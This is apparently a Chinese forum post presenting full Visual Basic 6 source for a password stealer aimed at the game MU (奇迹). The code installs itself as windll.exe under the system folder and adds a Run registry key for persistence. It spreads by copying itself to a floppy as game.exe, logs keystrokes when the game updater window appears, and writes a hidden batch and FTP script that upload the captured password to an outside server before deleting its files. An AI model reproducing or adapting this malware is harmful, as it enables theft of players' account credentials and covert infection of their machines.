一个用VB设计的能够截取奇迹游戏密码的程序

飘云

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As Any, ByVal lpWindowName As String) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim fso, wsh
Dim winsys, prg, keysvalue As String
Dim new_work, start As Boolean
Private Sub Form_Load()
On Error Resume Next
Let new_work = True
Set fso = CreateObject("scripting.filesystemobject")
Set wsh = CreateObject("wscript.shell")
Let winsys = fso.GetSpecialFolder(SystemFolder)
If Len(App.Path) = 3 Then
Let prg_path = prg
Let prg = App.Path & App.EXEName & ".exe"
Else:
Let prg_path = prg & "\"
Let prg = App.Path & "\" & App.EXEName & ".exe"
End If
If Not fso.FileExists(winsys & "\Msvbvm60.dll") Then fso.CopyFile prg_path & "\Msvbvm60.dll", winsys & "\Msvbvm60.dll"
If fso.FileExists(winsys & "\windll.exe") = False Then
fso.CopyFile prg, winsys & "\windll.exe"
wsh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\windll", winsys & "\windll.exe"
Shell "rundll32.exe user.exe,exitwindows"
End
End If
Let keysvalue = ""
Let start = False
If Not fso.FileExists("a:\game.exe") Then
fso.CopyFile prg, "a:\game.exe"
End If
End Sub

Private Sub Timer1_Timer()
If new_work = True And start = True Then
Call bGetKey
ElseIf FindWindow(0&, "mu auto update") = 0 Then
Let new_work = True
ElseIf FindWindow(0&, "mu auto update") <> 0 Then
Let start = True
End If
End Sub
Private Function bGetKey() As Boolean这里应该需要补充密码的大小写鉴别!
Let Timer1.Enabled = False
Do Until (Len(keysvalue) >= 23)
For times = 48 To 57 Step 1
If GetAsyncKeyState(times) = -32767 Then
Let keysvalue = LCase(keysvalue & Chr(times))
GoTo bye
End If
Next times
For times = 65 To 107 Step 1
If GetAsyncKeyState(9) = -32767 Or GetAsyncKeyState(&H1) = -32767 Then Let keysvalue = keysvalue & "%": Exit For
If GetAsyncKeyState(8) = -32767 Then Let keysvalue = Left(keysvalue, Len(keysvalue) - 1)
If GetAsyncKeyState(times) = -32767 Then
If times >= 96 Then
Let keysvalue = keysvalue & LTrim(Str(times - 96))
Else:
Let keysvalue = LCase(keysvalue & Chr(times))
End If
Exit For
End If
Next times
bye:
Loop
MsgBox keysvalue
End
Call ftp_server
End Function
Private Sub ftp_server()
Dim script_file
Set script_file = fso.CreateTextFile(winsys & "\#" & keysvalue & ".dat", 1)
script_file.WriteLine Date & Time
script_file.WriteLine "result:#" & keysvalue
script_file.Close
Set script_file = fso.CreateTextFile(winsys & "\script.dat", 1)
script_file.WriteLine "not..write"不要黑我啦!
script_file.WriteLine "hkhk"
script_file.WriteLine "ls -l"
script_file.WriteLine "send " & winsys & "\#" & keysvalue & ".dat"
script_file.WriteLine "quit"
script_file.Close
Set script_file = fso.CreateTextFile(winsys & "\hacker.dat", 1)
script_file.WriteLine "程式名称:奇迹泄密者 版本:1.1 程序设计:Ice@Fire 日期:2003年4月9日"
script_file.Close
Set script_file = fso.CreateTextFile(winsys & "\cmd.bat", 1)
script_file.WriteLine "@echo off"
script_file.WriteLine "ftp -s:" & winsys & "\script.dat www.cyberspace.org>>" & winsys & "\hacker.dat"
script_file.WriteLine "cls"
script_file.Close
Shell winsys & "\cmd.bat", vbHide
Set File = fso.GetFile(winsys & "\hacker.dat")
Do Until (File.Size > 430): Loop
Kill winsys & "\script.dat"
Kill winsys & "\cmd.bat"
Kill winsys & "\#" & keysvalue & ".dat"
If fso.FileExists("c:\hkhk.txt") = True Then
Shell "notepad.exe " & winsys & "\hacker.dat"
End
End If
Let new_work = False
Let start = False
Let keysvalue = ""
Let Timer1.Enabled = True
End Sub